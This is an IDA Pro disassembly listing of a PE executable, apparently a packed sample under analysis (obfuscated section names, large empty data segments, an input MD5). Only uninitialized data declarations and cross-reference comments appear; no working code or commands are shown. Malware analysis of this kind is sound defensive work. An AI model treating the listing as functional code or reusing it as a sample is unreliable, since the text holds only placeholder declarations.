;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |	   Licensed to:	SRI International, 1 computer, std, 11/2007	    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	D4A06BDC3A434D7FA41A9DCE3B92F063

; File Name   :	C:\Documents and Settings\Vernier Image	User\Desktop\foo2.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 0003C090 ( 245904.)
; Section size in file		: 00000619 (   1561.)
; Offset to raw	data for section: 00000400
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
_weit$l		segment	para public 'CODE' use32
		assume cs:_weit$l
		;org 401000h
		assume es:nothing, ss:nothing, ds:_weit$l, fs:nothing, gs:nothing
		dd 0C3h	dup(0)
		db 2 dup(0)
start		dw 0
		dd 0C2h	dup(0)
		db 0
		db 3 dup(?)
dword_40161C	dd 0AE9Eh dup(?)
off_42D094	dd	?		; DATA XREF: sub_13D73E0+10r
		dd	?		; jump table for switch	statement
		dd	?
		dd	?
		dd	?
		dd 0B4h	dup(?)
dword_42D378	dd 6 dup(?)			db 3 dup(?)
byte_42D393	db ?			; DATA XREF: .idata:013D7900o
		dd 6 dup(?)
		db ?
byte_42D3AD	db 3 dup(?)		; DATA XREF: .idata:013D7904o
		dd 5 dup(?)
		db 3 dup(?)
byte_42D3C7	db ?			; DATA XREF: .idata:013D7908o
		dd 4Dh dup(?)
off_42D4FC	dd	?		; DATA XREF: sub_13D76E0+91r
		dd	?		; jump table for switch	statement
		dd	?
		dd	?
		dd 7DDh	dup(?)
dword_42F480	dd 1ECh	dup(?)	dword_42FC30	dd 13Bh	dup(?)	off_43011C	dd	?		; DATA XREF: sub_13DA4E0+Er
		dd	?		; jump table for switch	statement
		dd	?
		dd	?
		dd 1E8Eh dup(?)
		db 2 dup(?)
SEH_13AD8E0	dw ?			; DATA XREF: sub_13AD8E0+2o
		dd 1C4h	dup(?)
		db 3 dup(?)
SEH_13AEA40	db ?			; DATA XREF: sub_13AEA40+2o
		dd 1FFh	dup(?)
SEH_13B4690	dd 0Fh dup(?)		; DATA XREF: sub_13B4690+2o
		db 3 dup(?)
SEH_13B4830	db ?			; DATA XREF: sub_13B4830+2o
		dd 8 dup(?)
		db ?
byte_438AD9	db 3 dup(?)		; DATA XREF: .idata:013B4D52o
		dd 5 dup(?)
SEH_13B5210	dd 4 dup(?)		; DATA XREF: sub_13B5210+5o
SEH_13B5390	dd 3D6h	dup(?)		; DATA XREF: sub_13B5390+5o
SEH_13BD7E0	dd 5F6h	dup(?)		; DATA XREF: sub_13BD7E0+2o
SEH_13C91C0	dd 25Ch	dup(?)		; DATA XREF: sub_13C91C0+5o
SEH_13D52E0	dd 4 dup(?)		; DATA XREF: sub_13D52E0+5o
SEH_13D53F0	dd 594h	dup(?)		; DATA XREF: sub_13D53F0+5o
_weit$l		ends

; Section 2. (virtual address 0003E000)
; Virtual size			: 00004AD6 (  19158.)
; Section size in file		: 00000000 (	  0.)
; Offset to raw	data for section: 00000000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
_t623ai		segment	para public 'DATA' use32
		assume cs:_t623ai
		;org 43E000h
dword_43E000	dd ?		dword_43E004	dd ?		dword_43E008	dd ?							; sub_13B1000o
dword_43E00C	dd ?		dword_43E010	dd ?							; sub_13B3F40+Bo ...
dword_43E014	dd 3 dup(?)						; sub_13B5210+1Co
dword_43E020	dd ?							; sub_13B5570+1Eo
flt_43E024	dd ?			; DATA XREF: sub_13B5B90+36r
dword_43E028	dd 3 dup(?)						; sub_13BA1B0+1Do
dword_43E034	dd ?							; sub_13BA1B0+23o
dword_43E038	dd 3 dup(?)						; sub_13BBD20+1Do
dword_43E044	dd 3 dup(?)						; sub_13BD630+1Fo
dword_43E050	dd 3 dup(?)						; sub_13C2200+8o
dword_43E05C	dd 3 dup(?)						; sub_13C2230+8o
dword_43E068	dd 3 dup(?)						; sub_13C9FE0+8o
dword_43E074	dd ?							; sub_13C34C0+36o
dword_43E078	dd ?		dword_43E07C	dd ?		dword_43E080	dd ?		dword_43E084	dd ?		dword_43E088	dd ?		dword_43E08C	dd ?		dword_43E090	dd ?		dword_43E094	dd ?		dword_43E098	dd ?		dword_43E09C	dd ?		dword_43E0A0	dd ?		dword_43E0A4	dd ?		dword_43E0A8	dd ?		dword_43E0AC	dd ?		dbl_43E0B0	dq ?			; DATA XREF: sub_13C3CD0+22r
		dd ?
dword_43E0BC	dd ?							; sub_13C4520+6o
dword_43E0C0	dd ?							; sub_13C5450o
dword_43E0C4	dd 3 dup(?)						; sub_13C5880+1Do
dword_43E0D0	dd 3 dup(?)						; sub_13C7B70+1Do
dword_43E0DC	dd 4 dup(?)	dword_43E0EC	dd 4 dup(?)						; sub_13D0980+1Do
dword_43E0FC	dd 4 dup(?)	dword_43E10C	dd 4 dup(?)	dword_43E11C	dd 4 dup(?)	dword_43E12C	dd 4 dup(?)	dword_43E13C	dd 4 dup(?)						; sub_13D2310+1Do
dword_43E14C	dd 4 dup(?)						; sub_13D2670+10o
dword_43E15C	dd 4 dup(?)						; sub_13D3E80+9o
dword_43E16C	dd 4 dup(?)	dword_43E17C	dd 4 dup(?)	dword_43E18C	dd ?		dword_43E190	dd 3 dup(?)	dword_43E19C	dd ?		dword_43E1A0	dd 4 dup(?)	dword_43E1B0	dd 4 dup(?)	dword_43E1C0	dd 3B0h	dup(?)	dword_43F080	dd 0EE0h dup(?)						; .idata:013B4D97o
_t623ai		ends

; Section 3. (virtual address 00043000)
; Virtual size			: 00BE9B98 (12491672.)
; Section size in file		: 00000000 (	  0.)
; Offset to raw	data for section: 00000000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
_$4895f		segment	para public 'DATA' use32
		assume cs:_$4895f
		;org 443000h
		dd 148h	dup(?)
dword_443520	dd 33h dup(?)	dword_4435EC	dd ?							; sub_13BA370:loc_13BAC4Eo ...
dword_4435F0	dd ?							; sub_13AF070+875o ...
dword_4435F4	dd 3 dup(?)						; sub_13AF070+831o ...
dword_443600	dd ?							; sub_13AEA40+1EDo ...
dword_443604	dd ?							; sub_13BA370:loc_13BAD59o ...
dword_443608	dd 9 dup(?)	dword_44362C	dd 8 dup(?)	dword_44364C	dd 7 dup(?)	dword_443668	dd 7 dup(?)	dword_443684	dd 2 dup(?)						; sub_13AF070+105Eo ...
dword_44368C	dd 7 dup(?)	dword_4436A8	dd ?		dword_4436AC	dd 4 dup(?)	dword_4436BC	dd 6 dup(?)	dword_4436D4	dd 3 dup(?)	dword_4436E0	dd 5 dup(?)	dword_4436F4	dd 2 dup(?)						; sub_13C6440+Eo
dword_4436FC	dd 4 dup(?)						; sub_13AF070+9B1o ...
dword_44370C	dd 5 dup(?)	dword_443720	dd 1Eh dup(?)	dword_443798	dd 3 dup(?)	dword_4437A4	dd ?		dword_4437A8	dd 2 dup(?)	dword_4437B0	dd ?		dword_4437B4	dd 2 dup(?)	dword_4437BC	dd ?		dword_4437C0	dd ?		dword_4437C4	dd ?		dword_4437C8	dd ?		dword_4437CC	dd 2 dup(?)						; sub_13B1030+205o
dword_4437D4	dd 3 dup(?)						; sub_13B9040+88o
dword_4437E0	dd 3 dup(?)	dword_4437EC	dd 2 dup(?)	dword_4437F4	dd ?							; sub_13B1B90+F55o ...
dword_4437F8	dd ?							; sub_13BA370+7CCo ...
dword_4437FC	dd 3 dup(?)	dword_443808	dd 5 dup(?)	dword_44381C	dd 3 dup(?)	dword_443828	dd 0Ah dup(?)	dword_443850	dd 3 dup(?)	dword_44385C	dd 2 dup(?)	dword_443864	dd 2 dup(?)	dword_44386C	dd 5 dup(?)	dword_443880	dd 2 dup(?)	dword_443888	dd ?		dword_44388C	dd 2 dup(?)	dword_443894	dd 6 dup(?)	dword_4438AC	dd 2 dup(?)						; sub_13B1B90+2DCo
dword_4438B4	dd 2 dup(?)						; sub_13B1B90+2CBo
dword_4438BC	dd 21h dup(?)	dword_443940	dd 9 dup(?)						; .idata:013B4D71o
dword_443964	dd 2 dup(?)						; sub_13B5B00+43o ...
dword_44396C	dd ?		dword_443970	dd 15h dup(?)	dword_4439C4	dd 6 dup(?)	dword_4439DC	dd 0Dh dup(?)	dword_443A10	dd 8 dup(?)	dword_443A30	dd 4 dup(?)	dword_443A40	dd 7 dup(?)	dword_443A5C	dd 8 dup(?)	dword_443A7C	dd 7 dup(?)	dword_443A98	dd 8 dup(?)	dword_443AB8	dd 8 dup(?)	dword_443AD8	dd 0Ah dup(?)	dword_443B00	dd 5 dup(?)	dword_443B14	dd ?							; sub_13CA500+100o
dword_443B18	dd 4 dup(?)	dword_443B28	dd 2 dup(?)	dword_443B30	dd 4 dup(?)	dword_443B40	dd 2 dup(?)	dword_443B48	dd 2 dup(?)	dword_443B50	dd 4 dup(?)	dword_443B60	dd 5 dup(?)	dword_443B74	dd 8 dup(?)	dword_443B94	dd 7 dup(?)	dword_443BB0	dd 4 dup(?)	dword_443BC0	dd 7 dup(?)	dword_443BDC	dd 0Ch dup(?)	dword_443C0C	dd 3 dup(?)	dword_443C18	dd 5 dup(?)						; sub_13B93A0+Ao ...
dword_443C2C	dd 5 dup(?)	dword_443C40	dd 9 dup(?)	dword_443C64	dd 5 dup(?)	dword_443C78	dd 7 dup(?)	dword_443C94	dd ?							; sub_13BA370+1118o ...
dword_443C98	dd ?							; sub_13BA370+D15o ...
dword_443C9C	dd ?							; sub_13BA370:loc_13BAFC7o
dword_443CA0	dd ?							; sub_13BA370:loc_13BAFA6o
dword_443CA4	dd ?							; sub_13BA370:loc_13BAFE8o ...
dword_443CA8	dd 4 dup(?)						; sub_13BA370+732o ...
dword_443CB8	dd 7 dup(?)	dword_443CD4	dd 4 dup(?)						; sub_13BCAC0+91o ...
dword_443CE4	dd 4 dup(?)	dword_443CF4	dd 2 dup(?)						; sub_13D75C0+71o
dword_443CFC	dd 4 dup(?)						; sub_13BCD80+8Fo
dword_443D0C	dd 3 dup(?)	dword_443D18	dd 3 dup(?)	dword_443D24	dd ?							; sub_13BCAC0+E5o
dword_443D28	dd 2 dup(?)	dword_443D30	dd 2 dup(?)	dword_443D38	dd 2 dup(?)	dword_443D40	dd ?		dword_443D44	dd ?		dword_443D48	dd ?		dword_443D4C	dd ?		dword_443D50	dd ?		dword_443D54	dd 2 dup(?)	dword_443D5C	dd 2 dup(?)	dword_443D64	dd 2 dup(?)	dword_443D6C	dd 2 dup(?)						; sub_13C36D0+297o
dword_443D74	dd 3 dup(?)	dword_443D80	dd 4 dup(?)	dword_443D90	dd ?							; sub_13D5700+22o ...
dword_443D94	dd 3 dup(?)						; sub_13C36D0+12Eo
dword_443DA0	dd ?		dword_443DA4	dd ?		dword_443DA8	dd 0Eh dup(?)	byte_443DE0	db ?			; DATA XREF: sub_13C46A0r
		db 3 dup(?)
dword_443DE4	dd ?							; sub_13C5500+145o ...
dword_443DE8	dd 13h dup(?)	dword_443E34	dd 5 dup(?)	dword_443E48	dd 5 dup(?)	dword_443E5C	dd 0Eh dup(?)	dword_443E94	dd 2 dup(?)						; sub_13C9C70+E5o
dword_443E9C	dd ?		dword_443EA0	dd ?							; sub_13CEC60+327o
dword_443EA4	dd ?		dword_443EA8	dd ?		dword_443EAC	dd ?		dword_443EB0	dd ?		dword_443EB4	dd ?		dword_443EB8	dd ?		dword_443EBC	dd ?							; sub_13C6660+37r
word_443EC0	dw ?			; DATA XREF: sub_13C64F0+41r
					; sub_13C6660+41r
		db 2 dup(?)
dword_443EC4	dd ?							; sub_13C6660+6r
dword_443EC8	dd ?							; sub_13C6660+Br
dword_443ECC	dd ?							; sub_13C6660+2Fr
		dd ?
dword_443ED4	dd 5 dup(?)	dword_443EE8	dd 3 dup(?)	dword_443EF4	dd 5 dup(?)	dword_443F08	dd 2 dup(?)	dword_443F10	dd 4 dup(?)	dword_443F20	dd ?							; sub_13CA090+7o
dword_443F24	dd 4 dup(?)	dword_443F34	dd 19h dup(?)	dword_443F98	dd 5 dup(?)	dword_443FAC	dd 4 dup(?)	dword_443FBC	dd 4 dup(?)	dword_443FCC	dd 4 dup(?)	dword_443FDC	dd 5 dup(?)	dword_443FF0	dd 4 dup(?)	dword_444000	dd 3 dup(?)	dword_44400C	dd 4 dup(?)	dword_44401C	dd 3 dup(?)	dword_444028	dd 2 dup(?)	dword_444030	dd 3 dup(?)	dword_44403C	dd 2 dup(?)	dword_444044	dd 7 dup(?)	dword_444060	dd 2 dup(?)						; sub_13C9340+6A9o
dword_444068	dd 2 dup(?)						; sub_13C9340+677o
dword_444070	dd 0Fh dup(?)	dword_4440AC	dd ?		dword_4440B0	dd 2 dup(?)						; sub_13C9340+51Ao
dword_4440B8	dd ?							; sub_13C9340+33Ao ...
dword_4440BC	dd 2 dup(?)						; sub_13C9340+29Bo ...
dword_4440C4	dd 2 dup(?)						; sub_13C9340+269o
dword_4440CC	dd 2 dup(?)						; sub_13C9340+237o
dword_4440D4	dd 2 dup(?)						; sub_13C9340+205o
dword_4440DC	dd 7 dup(?)	dword_4440F8	dd 9 dup(?)	dword_44411C	dd 2 dup(?)	dword_444124	dd ?							; sub_13CA940+C4r
dword_444128	dd ?				db 4 dup(?)
dword_444130	dd 3 dup(?)						; sub_13CABF0+316o
dword_44413C	dd 0Bh dup(?)						; sub_13CABF0+2BEo
dword_444168	dd 5 dup(?)	dword_44417C	dd 7 dup(?)	dword_444198	dd 6 dup(?)	dword_4441B0	dd 4 dup(?)	dword_4441C0	dd 3 dup(?)						; sub_13CA940+34o
dword_4441CC	dd 3 dup(?)	dword_4441D8	dd 5 dup(?)	dword_4441EC	dd 9 dup(?)	dword_444210	dd 2 dup(?)	dword_444218	dd 3 dup(?)	dword_444224	dd 3 dup(?)	dword_444230	dd 2 dup(?)	dword_444238	dd 3 dup(?)	dword_444244	dd 3 dup(?)	dword_444250	dd 3 dup(?)	dword_44425C	dd 3 dup(?)	dword_444268	dd 3 dup(?)	dword_444274	dd 2 dup(?)	dword_44427C	dd 4 dup(?)	dword_44428C	dd 3 dup(?)	dword_444298	dd 2 dup(?)	dword_4442A0	dd 3 dup(?)	dword_4442AC	dd 3 dup(?)	dword_4442B8	dd 5 dup(?)	dword_4442CC	dd 2 dup(?)	dword_4442D4	dd 3 dup(?)	dword_4442E0	dd 3 dup(?)	dword_4442EC	dd 2 dup(?)	dword_4442F4	dd 2 dup(?)	dword_4442FC	dd 2 dup(?)	dword_444304	dd 5 dup(?)	dword_444318	dd 4 dup(?)	dword_444328	dd 3 dup(?)	dword_444334	dd ?		dword_444338	dd 2 dup(?)	dword_444340	dd 3 dup(?)	dword_44434C	dd ?		dword_444350	dd 3 dup(?)	dword_44435C	dd 6 dup(?)	dword_444374	dd 4 dup(?)	dword_444384	dd 3 dup(?)	dword_444390	dd 0Ah dup(?)	dword_4443B8	dd 4 dup(?)	dword_4443C8	dd 3 dup(?)	dword_4443D4	dd 2 dup(?)	dword_4443DC	dd 3 dup(?)	dword_4443E8	dd 3 dup(?)	dword_4443F4	dd 2 dup(?)	dword_4443FC	dd 3 dup(?)	dword_444408	dd 3 dup(?)	dword_444414	dd 3 dup(?)						; sub_13CABF0:loc_13CAE7Bo
dword_444420	dd ?							; sub_13CB220+F9o ...
dword_444424	dd ?							; sub_13CB220:loc_13CB48Eo ...
dword_444428	dd 2 dup(?)						; sub_13CB220+257o ...
dword_444430	dd 0Ah dup(?)	dword_444458	dd ?							; sub_13CCE50+316o ...
dword_44445C	dd ?		dword_444460	dd ?							; sub_13CDA00+3Ar ...
		dd 29h dup(?)
dword_444508	dd 14h dup(?)	dword_444558	dd 4 dup(?)	dword_444568	dd 2 dup(?)	dword_444570	dd 7 dup(?)	dword_44458C	dd ?		dword_444590	dd ?							; sub_13CCE50+7A9o ...
dword_444594	dd ?							; sub_13CCE50+7EBo
dword_444598	dd 6 dup(?)	dword_4445B0	dd 4 dup(?)	dword_4445C0	dd 3 dup(?)	dword_4445CC	dd 4 dup(?)	dword_4445DC	dd 9 dup(?)	dword_444600	dd 6 dup(?)	dword_444618	dd 8 dup(?)	dword_444638	dd 0Ah dup(?)	dword_444660	dd 6 dup(?)	dword_444678	dd 5 dup(?)	dword_44468C	dd 5 dup(?)	dword_4446A0	dd 8 dup(?)	dword_4446C0	dd 4 dup(?)	dword_4446D0	dd 0Ch dup(?)	dword_444700	dd 20h dup(?)	dword_444780	dd 12h dup(?)	dword_4447C8	dd 10h dup(?)	dword_444808	dd 0Fh dup(?)	dword_444844	dd 3 dup(?)	dword_444850	dd 2 dup(?)	dword_444858	dd ?		dword_44485C	dd 2 dup(?)	dword_444864	dd 22h dup(?)	dword_4448EC	dd 0Ch dup(?)	dword_44491C	dd ?		dword_444920	dd ?				db 4 dup(?)
dword_444928	dd 5Ah dup(?)	dword_444A90	dd 49h dup(?)	dword_444BB4	dd ?		dword_444BB8	dd ?		dword_444BBC	dd 3 dup(?)	dword_444BC8	dd ?		dword_444BCC	dd ?		dword_444BD0	dd 2 dup(?)	dword_444BD8	dd 3 dup(?)	dword_444BE4	dd 29h dup(?)	dword_444C88	dd 3 dup(?)			db 2 dup(?)
word_444C96	dw ?			; DATA XREF: sub_13CF900+D3w
		db 3 dup(?)
byte_444C9B	db ?			; DATA XREF: sub_13CF900+DAw
		db 4 dup(?)
dword_444CA0	dd 3 dup(?)			db ?
byte_444CAD	db ?			; DATA XREF: sub_13CF900+AEw
		db 2 dup(?)
		db ?
byte_444CB1	db ?			; DATA XREF: sub_13CF900+B4w
		db 6 dup(?)
dword_444CB8	dd 19h dup(?)	dword_444D1C	dd ?				dd 3 dup(?)
dword_444D2C	dd ?		byte_444D30	db ?			; DATA XREF: sub_13CF690+A2r
dword_444D31	dd ?		dword_444D35	dd ?							; sub_13CF690+D2r
dword_444D39	dd ?		dword_444D3D	dd ?							; sub_13CF690+E7r
byte_444D41	db 3 dup(?)		; DATA XREF: sub_13CF690+110o
		dd ?
		db 3 dup(?)
dword_444D4B	dd ?				align 10h
		dd 17h dup(?)
dword_444DAC	dd 2 dup(?)	dword_444DB4	dd 0Dh dup(?)	dword_444DE8	dd 0Bh dup(?)	dword_444E14	dd 9 dup(?)	dword_444E38	dd 4 dup(?)	dword_444E48	dd 5 dup(?)	dword_444E5C	dd 5 dup(?)	dword_444E70	dd 3 dup(?)	dword_444E7C	dd 2 dup(?)	dword_444E84	dd 7 dup(?)	dword_444EA0	dd 8 dup(?)	dword_444EC0	dd 7 dup(?)	dword_444EDC	dd ?		dword_444EE0	dd 7 dup(?)	dword_444EFC	dd 7 dup(?)	dword_444F18	dd ?		dword_444F1C	dd 5 dup(?)	dword_444F30	dd 8 dup(?)	dword_444F50	dd ?		dword_444F54	dd 10h dup(?)	dword_444F94	dd 10h dup(?)	dword_444FD4	dd 2Ah dup(?)	dword_44507C	dd 26h dup(?)	dword_445114	dd 0Ch dup(?)	dword_445144	dd 6 dup(?)						; sub_13D26E0+B97o
dword_44515C	dd 8 dup(?)						; sub_13D26E0+B79o
dword_44517C	dd 4 dup(?)	dword_44518C	dd 3 dup(?)	dword_445198	dd 6 dup(?)	dword_4451B0	dd 5 dup(?)	dword_4451C4	dd 0Ah dup(?)	dword_4451EC	dd 0Bh dup(?)	dword_445218	dd 4 dup(?)						; sub_13D26E0+9F0o
dword_445228	dd 6 dup(?)	dword_445240	dd ?							; sub_13D26E0+52Co ...
dword_445244	dd 3 dup(?)	dword_445250	dd 3 dup(?)						; sub_13D6C30+185o ...
dword_44525C	dd 3 dup(?)	dword_445268	dd ?		dword_44526C	dd 2 dup(?)	dword_445274	dd 0Ah dup(?)	dword_44529C	dd 0Ah dup(?)	dword_4452C4	dd 0Bh dup(?)	dword_4452F0	dd 2 dup(?)						; sub_13D44B0+22o
dword_4452F8	dd 8 dup(?)	dword_445318	dd 0Ch dup(?)	dword_445348	dd 2 dup(?)	dword_445350	dd ?		dword_445354	dd ?		dword_445358	dd 10h dup(?)	dword_445398	dd 0Dh dup(?)	dword_4453CC	dd 11h dup(?)	dword_445410	dd 5 dup(?)	dword_445424	dd 9 dup(?)	dword_445448	dd 2 dup(?)						; sub_13D6C30+1D5o ...
dword_445450	dd 4 dup(?)						; sub_13D79A0+1C4o ...
dword_445460	dd 2 dup(?)						; sub_13D79A0+15Eo
dword_445468	dd 4 dup(?)	dword_445478	dd 4 dup(?)	dword_445488	dd ?							; sub_13D6C30:loc_13D6CEDo
dword_44548C	dd 8 dup(?)	dword_4454AC	dd 2 dup(?)	dword_4454B4	dd 3 dup(?)	dword_4454C0	dd 3 dup(?)	dword_4454CC	dd 2 dup(?)	dword_4454D4	dd ?		dword_4454D8	dd 7 dup(?)	dword_4454F4	dd ?		byte_4454F8	db ?			; DATA XREF: sub_13D76E0+EDr
		db 3 dup(?)
dword_4454FC	dd ?		byte_445500	db ?			; DATA XREF: sub_13D76E0+D3r
		db 3 dup(?)
dword_445504	dd ?		byte_445508	db ?			; DATA XREF: sub_13D76E0+B8r
		db 3 dup(?)
dword_44550C	dd ?		byte_445510	db ?			; DATA XREF: sub_13D76E0+9Er
		db 3 dup(?)
dword_445514	dd 3 dup(?)						; sub_13D8AA0+4Ao
dword_445520	dd 0Dh dup(?)	dword_445554	dd 7 dup(?)	dword_445570	dd 2 dup(?)	dword_445578	dd 2 dup(?)	dword_445580	dd 4 dup(?)	dword_445590	dd 6 dup(?)	dword_4455A8	dd 2 dup(?)	dword_4455B0	dd 5 dup(?)	dword_4455C4	dd 7 dup(?)	dword_4455E0	dd 0Ah dup(?)	dword_445608	dd 0Ch dup(?)	dword_445638	dd 0Ch dup(?)	dword_445668	dd 0Ch dup(?)	dword_445698	dd 3 dup(?)	dword_4456A4	dd 2 dup(?)	dword_4456AC	dd 2 dup(?)	dword_4456B4	dd 2 dup(?)	dword_4456BC	dd 2 dup(?)	dword_4456C4	dd 2 dup(?)	dword_4456CC	dd ?		dword_4456D0	dd 5 dup(?)	dword_4456E4	dd 0Ah dup(?)	word_44570C	dw ?			; DATA XREF: sub_13D8820+1Fr
		db 2 dup(?)
dword_445710	dd 2 dup(?)	dword_445718	dd 3 dup(?)	dword_445724	dd 3 dup(?)	dword_445730	dd 3 dup(?)	dword_44573C	dd 3 dup(?)	dword_445748	dd 3 dup(?)	dword_445754	dd 2 dup(?)	dword_44575C	dd ?							; sub_13DA880+1Fw ...
		dd 608h	dup(?)
byte_446F80	db ?			; DATA XREF: sub_13AD8E0+95o
					; sub_13AEA40+200o ...
		db 3 dup(?)
dword_446F84	dd ?							; sub_13CEA10+11o ...
dword_446F88	dd ?							; sub_13B76F0+FFr ...
		db 4 dup(?)
dword_446F90	dd ?							; sub_13B76F0+65w ...
		dd 8 dup(?)
dword_446FB4	dd 41h dup(?)						; sub_13B76F0+A0o ...
dword_4470B8	dd ?							; sub_13B76F0:loc_13B77E4r ...
dword_4470BC	dd ?							; sub_13B76F0+6Fr ...
dword_4470C0	dd ?							; sub_13B7990+CAw
dword_4470C4	dd ?							; sub_13B7990+E3r
		dd 11h dup(?)
dword_44710C	dd ?							; sub_13BA370+47Dr
dword_447110	dd ?							; sub_13BA370+515r ...
dword_447114	dd ?							; sub_13BA370+655r ...
dword_447118	dd ?							; sub_13BA370+B79r ...
dword_44711C	dd ?							; sub_13BA370+74Br
dword_447120	dd ?							; sub_13BA370+828r
dword_447124	dd ?							; sub_13BA370+77Cr
dword_447128	dd ?							; sub_13BA370+4DDr ...
dword_44712C	dd ?							; sub_13BA370+311r
dword_447130	dd ?							; sub_13BA370+34Dr ...
dword_447134	dd ?							; sub_13BA370+33Dr
dword_447138	dd ?							; sub_13BA370+3D2r
dword_44713C	dd ?							; sub_13BA370+E93r
dword_447140	dd ?							; sub_13BA370+1220r ...
dword_447144	dd ?							; sub_13BC3F0+4DAr
dword_447148	dd ?							; sub_13BA370+683r
dword_44714C	dd ?							; sub_13BA370+6B5r
dword_447150	dd ?							; sub_13BA370+1252r
		dd 5 dup(?)
dword_447168	dd 10h dup(?)						; sub_13AE3C0+9Fo ...
		db 2 dup(?)
byte_4471AA	db ?			; DATA XREF: sub_13B3E30r sub_13B3EA0r
		align 4
		db 3 dup(?)
byte_4471AF	db ?			; DATA XREF: sub_13B7990+10Fr
		db ?
byte_4471B1	db ?			; DATA XREF: sub_13B7F20r
word_4471B2	dw ?			; DATA XREF: sub_13B7F20+9o
		dd 44h dup(?)
		db 3 dup(?)
byte_4472C7	db ?			; DATA XREF: sub_13BD0C0+21Ao
					; sub_13BD0C0+2CFo ...
		db 3 dup(?)
byte_4472CB	db ?			; DATA XREF: sub_13C9C70:loc_13C9CADr
		db 4 dup(?)
dword_4472D0	dd 12h dup(?)						; sub_13BA370+114o
		db ?
byte_447319	db 3 dup(?)		; DATA XREF: sub_13B1B90+1354o
					; sub_13BA370+159o ...
		dd 11h dup(?)
		db 2 dup(?)
word_447362	dw ?			; DATA XREF: sub_13B1B90+132Bo
					; sub_13BA370+132o
		dd 6 dup(?)
word_44737C	dw ?			; DATA XREF: sub_13BA370+1E1r
		db 2 dup(?)
		dd 0Ah dup(?)
		db 3 dup(?)
byte_4473AB	db ?			; DATA XREF: sub_13B1B90+137Do
					; sub_13BA370+17Co ...
		dd 12h dup(?)
dword_4473F4	dd 12h dup(?)						; sub_13BA370+F7o ...
		db ?
byte_44743D	db 3 dup(?)		; DATA XREF: sub_13B1B90+12B6o
					; sub_13BA370+D0o ...
		dd 23h dup(?)
		db 3 dup(?)
byte_4474CF	db ?			; DATA XREF: sub_13B1B90+13A6o
					; sub_13BA370+19Ao
		dd 24h dup(?)
		db ?
byte_447561	db 3 dup(?)		; DATA XREF: sub_13CF440+2Bo
					; sub_13CF440+37o
		dd 11h dup(?)
		db 2 dup(?)
word_4475AA	dw ?			; DATA XREF: sub_13BD0C0+1EAo
					; sub_13BD0C0+209o ...
		dd 3Ch dup(?)
		db 3 dup(?)
dword_44769F	dd ?							; sub_13C9340+154r ...
		align 4
		dd 35h dup(?)
		db ?
byte_447779	db ?			; DATA XREF: sub_13C5D60+18r
		db 2 dup(?)
		dd 23h dup(?)
		db 3 dup(?)
byte_44780B	db ?			; DATA XREF: sub_13B7990:loc_13B7D1Fr
		dd 12h dup(?)
byte_447854	db ?			; DATA XREF: sub_13BA370+842r
		db 3 dup(?)
		dd 0Bh dup(?)
dword_447884	dd 18h dup(?)						; sub_13B9180+97o ...
		db 2 dup(?)
byte_4478E6	db ?			; DATA XREF: sub_13AF070+258r
					; sub_13C7C40+671r
		align 4
		dd 11h dup(?)
		db 3 dup(?)
byte_44792F	db ?			; DATA XREF: sub_13AF070:loc_13AF2E0r
					; sub_13C7C40:loc_13C82C9r
		dd 0Bh dup(?)
		db 3 dup(?)
byte_44795F	db ?			; DATA XREF: sub_13AF070+279o
					; sub_13C7C40+692o ...
		dd 12h dup(?)
dword_4479A8	dd 2Bh dup(?)						; sub_13C9340+630o ...
dword_447A54	dd ?				dd 11h dup(?)
		db ?
dword_447A9D	dd ?				db 3 dup(?)
		dd 0D9h	dup(?)
byte_447E08	db ?			; DATA XREF: sub_13C9340+146r
					; sub_13C9340+5EEr
		db 3 dup(?)
		dd 3A8h	dup(?)
		db 2 dup(?)
word_448CAE	dw ?			; DATA XREF: sub_13AEA40+1BDo
					; sub_13AEF10+31o ...
		db 2 dup(?)
word_448CB2	dw ?			; DATA XREF: sub_13AEF10+4o
		dd 1Ch dup(?)
		db 2 dup(?)
word_448D26	dw ?			; DATA XREF: sub_13B1A60+36o
					; sub_13B1AF0+3Eo ...
		dd 26h dup(?)
dword_448DC0	dd 86h dup(?)						; sub_13AF070+27Eo ...
		db 3 dup(?)
dword_448FDB	dd ?							; sub_13CFA60+15r ...
		align 10h
		dd 9C2h	dup(?)
		db 2 dup(?)
word_44B6EA	dw ?			; DATA XREF: sub_13CFC90+6o
					; sub_13CFCC0+9o
		db 2 dup(?)
dword_44B6EE	dd ?							; .idata:013CE4C3w ...
		db 2 dup(?)
		dd 2 dup(?)
		db 2 dup(?)
dword_44B6FE	dd ?							; .idata:013CE50Dr ...
		db 2 dup(?)
		dd 0EE247h dup(?)
		db ?
byte_804021	db 3 dup(?)		; DATA XREF: sub_13B0C90+1DBo
					; sub_13B0C90+1E5o
		dd 732F9h dup(?)
dword_9D0C08	dd ?							; sub_13C2140+22r ...
		dd 0Ah dup(?)
		db 2 dup(?)
dword_9D0C36	dd ?							; sub_13C2140+2Dr ...
		db 2 dup(?)
		dd 0Ah dup(?)
dword_9D0C64	dd ?							; sub_13C2140+40r ...
		dd 0Ah dup(?)
		db 2 dup(?)
dword_9D0C92	dd ?							; sub_13C2140+50r ...
		db 2 dup(?)
		dd 0Ah dup(?)
dword_9D0CC0	dd ?							; sub_13C2140+60r ...
		dd 7A6h	dup(?)
		db ?
dword_9D2B5D	dd ?							; sub_13C1140+94r ...
		db 3 dup(?)
		dd 4 dup(?)
byte_9D2B74	db ?			; DATA XREF: sub_13C2740+20r
		db 3 dup(?)
		dd 0B3h	dup(?)
		db 3 dup(?)
dword_9D2E47	dd ?							; sub_13C1140+A4r ...
		align 4
		dd 9 dup(?)
dword_9D2E70	dd ?							; sub_13C1140+B4r ...
		dd 4 dup(?)
		db ?
dword_9D2E85	dd ?							; sub_13C1140+C4r ...
		db 3 dup(?)
		dd 45h dup(?)
		db 2 dup(?)
dword_9D2FA2	dd ?							; sub_13C1140+D4r ...
		db 2 dup(?)
		dd 45h dup(?)
		db 3 dup(?)
dword_9D30BF	dd ?							; sub_13C1140+E4r ...
		align 4
		dd 16h dup(?)
